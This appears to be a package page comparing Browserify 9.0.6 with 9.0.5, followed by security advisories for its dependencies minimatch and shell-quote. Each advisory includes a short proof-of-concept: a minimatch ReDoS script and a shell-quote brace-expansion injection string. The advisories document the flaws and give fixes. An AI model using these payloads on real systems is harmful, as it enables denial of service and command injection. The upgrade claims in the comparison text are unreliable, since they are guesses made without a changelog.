Browserify is a powerful tool that lets developers use Node.js-style require() statements in the browser, allowing for modular JavaScript development. Comparing versions 9.0.6 and 9.0.5 reveals subtle but potentially important differences for users of the library. Both versions share the same core functionality, description ("browser-side require() the node way"), dependencies, development dependencies, license, repository information, and author details. The dependency list is extensive, including crucial packages like has, url, glob, resolve, module-deps, and numerous browser-specific shims to ensure Node.js modules can function in the browser environment. This complex web of dependencies highlights Browserify's role in bridging the gap between server-side and client-side JavaScript.
The key difference lies in the releaseDate: 9.0.6 was released on April 3, 2015, shortly after 9.0.5 which came out on April 2, 2015. This tight release window suggests that version 9.0.6 likely contains bug fixes or minor improvements over 9.0.5, rather than significant new features. While the changelog isn't provided here, developers upgrading from 9.0.5 to 9.0.6 should primarily expect increased stability and potentially better performance based on the assumption of applied patches. Consider upgrading to 9.0.6 for a more reliable experience, especially if encountering any issues with 9.0.5. Always test diligently after upgrading. Both versions ship with identical development dependencies like es6ify and coffeeify, enabling using ES6 and CoffeeScript in browserify projects.
All the vulnerabilities related to the version 9.0.6 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.